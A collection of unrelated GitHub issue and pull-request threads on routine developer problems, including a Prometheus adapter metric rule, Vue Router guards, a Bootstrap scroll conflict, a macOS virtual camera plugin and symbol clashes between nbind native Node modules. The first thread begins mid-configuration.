            group: scheduling.volcano.sh
            resource: queue
      metricsQuery: volcano_queue_allocatable_milli_gpu{<<.LabelMatchers>>}

if i use rule above, kubectl get --raw "/apis/custom.metrics.k8s.io/v1beta1/namespaces/default/queues.scheduling.volcano.sh/dev/volcano_queue_allocatable_milli_gpu" report  Error from server (NotFound): the server could not find the metric volcano_queue_allocatable_milli_gpu for queues.scheduling.volcano.sh
rules:
apiVersion: v1
kind: ConfigMap
metadata:
  name: adapter-config
  namespace: custom-metrics
data:
  config.yaml: |
    rules:
    - seriesQuery: volcano_queue_allocatable_milli_gpu
      resources:
        overrides:
          kubernetes_namespace:
            resource: namespace
          queue_name:
            group: scheduling.volcano.sh
            resource: queue
      metricsQuery: volcano_queue_allocatable_milli_gpu{<<.LabelMatchers>>}

if i use rule above, prometheus-adapter report E1125 12:51:59.194440       1 series_registry.go:162] unable to construct query for metric queues.scheduling.volcano.sh/volcano_queue_allocatable_milli_gpu(namespaced): unable to convert resource namespaces into label: no generic resource label form specified for this metric
how can i query metric only by label queue_name

Could you remove the kubernetes_namespace from the resource overrides section as the LabelMatcher will try to add it metrics query.


feat(bus): Implement get for aws bus

I was in need of this while setting up the events on the SST Email Component. I tried with a created sst.aws.Bus but it failed and told me only the default bus was allowed.
Perhaps there should also be an addition to the docs about that restriction?

Are we talking about documenting the bus component?

Any intentions on getting this merged any time soon?

Any intentions on getting this merged any time soon?

If, like me you are looking to subscribe to an already created bus or the default bus, the subscribe method on the Bus class is static. Therefore you could do:
const defaultBus = aws.cloudwatch.EventBus.get('default', 'default')

sst.aws.Bus.subscribe(
  'EmailLogEvents',
  defaultBus.arn,
  {
    handler: 'packages/functions/src/events/email.handler',
    ....
  },
  {
    pattern: {
      source: ['aws.ses'],
      detailType: [
        'Email Bounced',
        'Email Complaint Received',
      ],
    },
  },
)

At least this got me around the need for the get method. Hope this helps


Navigation guards don't work on nested routes

Version
3.1.6
Reproduction link
https://codesandbox.io/s/upbeat-panini-cy8r4
Steps to reproduce

Go to the example code and notice how the same component is attached both as a root route and a nested route with a different prop: https://codesandbox.io/s/upbeat-panini-cy8r4?file=/src/router.js
Switch between menu items in the app, especially "nested" and "nested as root".

What is expected?
Browser confirmation dialog is shown both when trying to navigate out of 'nested' and out of 'nested as root'.
What is actually happening?
Browser confirmation dialog is shown only when trying to navigate out of 'nested as root'. It doesn't work for 'nested'.

There are a few things that need to be pointed out:

it's children not nested
Two routes cannot have the same name
the nested route should not have a leading / if you want to produce a nested path. Otherwise it would produce an absolute path

The reason it looks like it's not working is that your nested link navigates to nowhere and there is no leave guard attached
This is what you probably wanted to do:
{
      path: "/users/:id",
      name: "users",
      component: User,
      props: true,
      children: [
        {
          path: "nested",
          name: "nested",
          component: Nested,
          props: { msg: "AS NESTED" }
        }
      ]
    },
    {
      path: "/nested",
      name: "absolute-nested",
      component: Nested,
      props: { msg: "AS ROOT" }
    }

Thanks for a quick response @posva !
The reproduction was indeed unfortunate. But with that aside it still doesn't work in my app in the same case. I will keep looking for differences and update the issue if I locate them (or not update if it is on my side which is probably the case).

Turns out our project was using this pattern from Chris to lay-load route components: https://github.com/chrisvfritz/vue-enterprise-boilerplate/blob/master/src/router/routes.js but I missed that fact and the original note about component route guards got removed at some point.
Would be great to have a good UX this pattern provides and component route guards at the same time one day (at least the before update and before leave as before enter may be hard to do with lazy loading :)).


Ungraded Exercise #1: Distance Fare Calculation

If I am not mistaken, based on the test cases in the original task, Distance Fare calculates the fare based on cumulative distances. However, the expected output above for the fare for the trip of cabs is 7 where the maximum fare should be only 5 (where 1 + (5-1)/2*2 = 5). What is the problem here?

the argument for the maximum distance does not include the flat fare distance

the argument for the maximum distance does not include the flat fare distance

Oh, no wonder, thanks!


bootstrap 5 conflict

I'm having a conflict in Vue 2.7 that the scroll starts very slow for the exact 'duration' that I set, then it scrolls smootly to the element without any easing. So if I set a duration of 1000, it scrolls slowly for 1s with very little movement and then goes smoothly to the element.
I found out that the problem goes away if I disable Bootstrap 5 CSS (any version of 5). Bootstrap JS or BootstrapVue does not have any effect on this. If I add only "import 'bootstrap/dist/css/bootstrap.css'" in my main.js or call Bootstrap trough index.html, I get the same problem.
Any idea how to solve this?

I'm not sure what bootstrap does, likely something related to scroll-behavior, poke around the bootstrap css in your devtools, see if there's anything setting that?

Hi rigor, you're right, I found about this solution a few days ago. I had to set scroll-behavior to auto to override bootstrap settings.
html { 	scroll-behavior: auto !important; }
Thanks for the fast reply. I only saw it today.


add duration input validator and converter

This is my first open source contribution to an active project, and I am fairly new to coding and completely new to TypeScript. Feedback is very much appreciated and I am happy to rewrite this as I sure I have gone about many things the wrong way.
Although the validator and the conversion work on a number of examples I tested in a local environment, I was not able to write tests for them as I do not understand something about how classes and constructors works. No matter what input I provide to new duration('x'), the _content of the duration instance equals 0.

Hi @grum-tez,
Thank you very much for your contribution !
Indeed, it was a TODO, and your version of this will improve the current state of the library.
I merge the PR, and so it will be available in the next release (coming very soon).
Thank you again for that !

Just for information, I moved some code in the Duration class, you can see the latest version here:
https://github.com/completium/archetype-ts-types/blob/main/src/main.ts#L336


Feeding the plugin with samples@Runtime

When I select the this plugin as my camera source in Teams or zoom. I want to show a dynamic picture .How can I feed the plugin with sample buffer? Please point me to an example or documentation.

https://github.com/johnboiles/obs-mac-virtualcam uses this, you can try to look there.

How do I debug virtualcam in Xcode?

Check out this: https://github.com/johnboiles/obs-mac-virtualcam/wiki/Developing#debugging-the-dal-plugin
It is for the obs virtualcam but should be the same for this sample.

Details
Could not attach to pid : “9781”
Domain: IDEDebugSessionErrorDomain
Code: 3
Failure Reason: Error 1
User Info: {
DVTRadarComponentKey = 855031;
RawLLDBErrorMessage = "Error 1";
}
System Information
macOS Version 10.15.4 (Build 19E266)
Xcode 11.4 (16134)

Can you please make the obscamplugin as xcode project?It will be easier to debug.

@gxalpha I've successfully used https://github.com/johnboiles/obs-mac-virtualcam to create a virtual cam plugin but when I tried to add the Mach Server to my mac app and try to run the mach server is not starting. I'm getting the error " Unable to open mach server port. ". I followed the same as it that obs-mac-virtualcam plugin. Do I have to add any permissions to my .plist for the mach server to work or It doesn't work when it's added to the mac app itself ? Thanks in advance

Hey @sivrish ,
I'm unfortunately not completely into the details, so I'm afraid I can't help you there.
Maybe try asking @johnboiles for help, he probably has more knowledge and experience with the topic.

@johnboiles can you please shed some light on this

@sivrish: Are you able to send any buffers to the plugin? Would be great if you have an example?

@Raj123456788 the https://github.com/johnboiles/obs-mac-virtualcam uses this as the DAL plugin, you can check the functionality there if you need examples

@gxalpha : It has been more than 10 days and I am still struggling with sending buffers. I am able to see obs sending the buffers to virtualcam. Is there a easy example that I can follow rather than trying to debug from obs-studio code repository?

No, I am not aware of any other example the the obs-mac-virtualcam.


Refactor and remove a large number of duplicate codes, make the logic easier to understand

Refactor and remove a large number of duplicate codes, make the logic easier to understand
👨💻 Changes proposed(What did you do ?)
There are lots of duplicate if-else branches and strings in different functions in main.cpp, so I merged some of them and helped other developers read these codes easier.

I use an array chars[10] to replace the varibles char1 to char9.
I use class Texts as a dictionary to replace the instruction strings in game.
I convert almost all the duplicate statements like char5 == '5' to a simpler chars[i] == '0' + i statement, and use for{ if } to replace if-elseif-elseif-elseif-...-else structure.

✔ Check List (Check all the applicable boxes)

[x] This PR does not contain plagiarized content.
[x] My code follows the code style of this project.
[x] The title and description of the PR is clear and explains the approach.

Note to reviewers

If you have any questions about my code, please feel free to annotate it and ask me.

Thank You for showing your interest in this repo and fixing the code.


Added position and size to Redux Devtools

Mostly added to make it easier to manage Redux Devtools on phones and tablets easily.

Works great. Merging.


Multiple Git status indicators

I have multiple git status indicators (Modified, Added, Untracked) in the "Source Control" tab:

Is this normal? If yes, what does these mean?
If not, i'm sorry but I couldn't reproduce it. After reloading it seems to be fixed.

/needsMoreInfo
Please update this issue after reading https://github.com/Microsoft/vscode/wiki/Submitting-Bugs-and-Suggestions#writing-good-bug-reports-and-feature-requests. Thanks.


Multiple native modules failure

I think this issue is similar to #30 (so much that I actually copied the title :p), but the symptoms are a bit different (and quite harder to spot). It seems that if two nbind modules are loaded, the second one will not be correctly binded, and will not convert the binded structures.
The only workaround I found is to use the asmjs fallbacks.
[edit] After more tries, it seems it might get worse and we might also get "Type mismatch" errors in some cases. For example, if you do the following:
$> npm install @manaflair/text-layout
$> cp -rf node_modules/@manaflair node_modules/@test

Then run this code:
let TextLayoutA = require(`@manaflair/text-layout`).TextLayout;
let TextLayoutB = require(`@test/text-layout`).TextLayout;

for (let TextLayout of [ TextLayoutA, TextLayoutB ]) {

    let textLayout = new TextLayout();

    textLayout.setCharacterGetter(() => `?`);
    textLayout.setCharacterCountGetter(() => 0);

    console.assert(textLayout.reset().apply);

}

The execution will fail (instead of passing twice).

Can you test if the latest develop branch fixes your issue?
It seems that when Node.js does dlopen(filename, RTLD_LAZY); then symbols with matching names from different addons get mapped to the same memory address, at least in some cases. So your second require ended up partially reinitializing exports from the first require and messing up their inheritance chain. Such reinitialization is now prevented.

Hm I've checked but I didn't see any change. However, I'm not completely sure I correctly updated all the dependencies nbind dependencies :/

Isn't the issue triggered because require('nbind') would resolve to the same instance of the 'nbind' module if they share the same version?

I've made a test with the snippet above, and got the following error:
module.js:598
  return process.dlopen(module, path._makeLong(filename));
                 ^

Error: Module did not self-register.
    at Object.Module._extensions..node (module.js:598:18)
    at Module.load (module.js:488:32)
    at tryModuleLoad (module.js:447:12)
    at Function.Module._load (module.js:439:3)
    at Module.require (module.js:498:17)
    at require (internal/module.js:20:19)
    at initNode (/tmp/bar/node_modules/b/node_modules/nbind/dist/nbind.js:140:15)
    at /tmp/bar/node_modules/b/node_modules/nbind/dist/nbind.js:114:13
    at findCompiledModule (/tmp/bar/node_modules/b/node_modules/nbind/dist/nbind.js:78:13)
    at find (/tmp/bar/node_modules/b/node_modules/nbind/dist/nbind.js:92:13)

require('nbind') doesn't really do anything. nbind.init receives the __dirname from the requiring module, so it should load a different compiled file from @manaflair/text-layout and @test/text-layout. With the latest release (0.3.9 published just now) the snippet works for me. Maybe try again with that version, in case there was an incorrect reference from the test modules to the develop version earlier?

Nope, no luck :( Does the following script works for you?
#!/usr/bin/env bash

mkdir -p /tmp/$$/
cd /tmp/$$/

npm install @manaflair/text-layout

mkdir -p node_modules/a
mkdir -p node_modules/b

sudo mount --bind node_modules/@manaflair/text-layout node_modules/a
sudo mount --bind node_modules/@manaflair/text-layout node_modules/b

node <<EOF

let TextLayoutA = require("a").TextLayout;
let TextLayoutB = require("b").TextLayout;

for (let TextLayout of [ TextLayoutA, TextLayoutB ]) {

    let textLayout = new TextLayout();

    textLayout.setCharacterGetter(() => "?");
    textLayout.setCharacterCountGetter(() => 0);

    console.assert(textLayout.reset().apply);

}

EOF

sudo umount node_modules/a
sudo umount node_modules/b

(I've updated the script to use less schenanigans, since I think it was yielding the wrong error)

It seems the issue is how templates are handled with dynamic linking. If two addons have identically named classes, nbind defines template specializations like BindDefiner<Patch> and BindClass<Patch> in both of them. Then in each case one specialization ends up overriding the other due to matching template arguments, even though only the names of the classes are equal!
I'll probably have to pass the npm package name to the C++ compiler, to use as a unique identifier disambiguating between addons.

This will probably be fixed in 0.4.0. It's going to be a breaking change in the sense that you need to re-run a newer version of autogypi to make the next nbind version compile.

Hi @jjrv ! Any news about the 0.4.0 ? No hurry, just wondering ^_^

I ran into issues with cbuild, cxml and cxsd in another project, and had to fix those. I can probably resume working on nbind after one week now.

I've investigated a bit: the issue isn't limited to conflicting class names. When two nbind-generated modules are loaded, only the first one will work as expected. I've setup a repository so you can easily test it:
https://github.com/arcanis/nbind-native-clash
Clone it, run ./install.sh, then use the index.js script to test the behaviour. Here's what I get:
arcanis@DESKTOP-L3PL4FG:~/xxx/a$ node index.js a
A
[Function: log]
[Function: log]
arcanis@DESKTOP-L3PL4FG:~/xxx/a$ node index.js b
B
[Function: log]
[Function: log]
arcanis@DESKTOP-L3PL4FG:~/xxx/a$ node index.js a b
A
[Function: log]
[Function: log]
B
undefined
undefined
arcanis@DESKTOP-L3PL4FG:~/xxx/a$

As you can see, both modules work fine individually, but break when used together.
Could it be possible to fix this issue in the 0.3 branch? I can't recommend my modules if it means my users will not be able to use others modules with it :( Using the js builds is a workaround, but it pollutes a bit the codebases and lowers perfs needlessly.
Since calling lib.init with __dirname as parameter is already required, perhaps fixing this wouldn't require any API change, if you were using this dirname as context name.

Ping @jjrv?

I need to update autogypi for this to work, because the module name must be passed to the C++ compiler as a macro. I'll try to get this done now. Endless deadlines in other projects...

Eh eh, don't worry, it currently has a decent workaround :) However, what do you think about my earlier suggestion? Wouldn't using __dirname as "module name" be enough? Plus, it would work even with multiple instances of the same module (which might happen if different modules depend on different versions of a same nbind-compiled module).

It seems that identically named symbols from different libraries get mapped to the same address when loaded. That means the module name has to go into all symbol names in the compiled binary. Only a macro definition passed to the compiler can do that.
As to multiple versions of an identically named module, Node.js doesn't support that at all. NPM won't install them, and require will only load the first one it finds anyway.

OK this rabbit hole goes way deeper than I thought. Do you run OS X? Then you really need to try this. Create the files below and run these commands:
npm install
node index.js

It will print something like:
0x102dcbe9c
BAZINGA!

This is beyond messed up. Certainly not fixable in nbind (not even used here). On Linux it won't print the second line.
package.json:
{
  "dependencies": {
    "nan": "^2.6.2",
    "node-expat": "^2.3.15",
    "node-gyp": "^3.6.1"
  }
}

binding.gyp:
{
	"targets": [{
		"target_name": "bazinga",
		"include_dirs": [
			"node_modules/nan"
		],
		"sources": [ "main.cc" ]
	}]
}

main.cc:
#include <nan.h>

struct Parser : public Nan::ObjectWrap {
	static void EndElement(void *userData, const char *name) {
		fprintf(stderr, "BAZINGA!\n");
	}
};

void init(v8::Handle<v8::Object> exports) {
	printf("%p\n", Parser::EndElement);
}

NODE_MODULE(bazinga, init)

index.js:
require('./build/Release/bazinga.node');

var parser = new (require('node-expat').Parser)('UTF-8');

parser.write('');

Pretty sure it's because Node is calling dlopen without specifying any other flag than RTLD_LAZY, which means that the behavior is up to the system. On OSX it's RTLD_GLOBAL, but on Linux it should be RTLD_LOCAL. Pretty weird if you ask me ... I wonder if that should be fixed on Node's side. It seems to be such a big oversight :/

Maybe a workaround would be to call objcopy on the resulting obj files to prefix them with some pseudo-random string ... cf http://stackoverflow.com/questions/10157680/how-can-i-get-gcc-to-add-a-prefix-to-all-symbol-names

It seems to work by adding this to binding.gyp:
"OTHER_LDFLAGS": [
  "-exported_symbols_list",
  "/dev/null"
]

Not sure if it will break something else...

This should now work in the 0.3.12 release.

Works fine 👍 Note that for Linux, the right flag is -fvisibility=hidden (on both CFLAGS and LDFLAGS).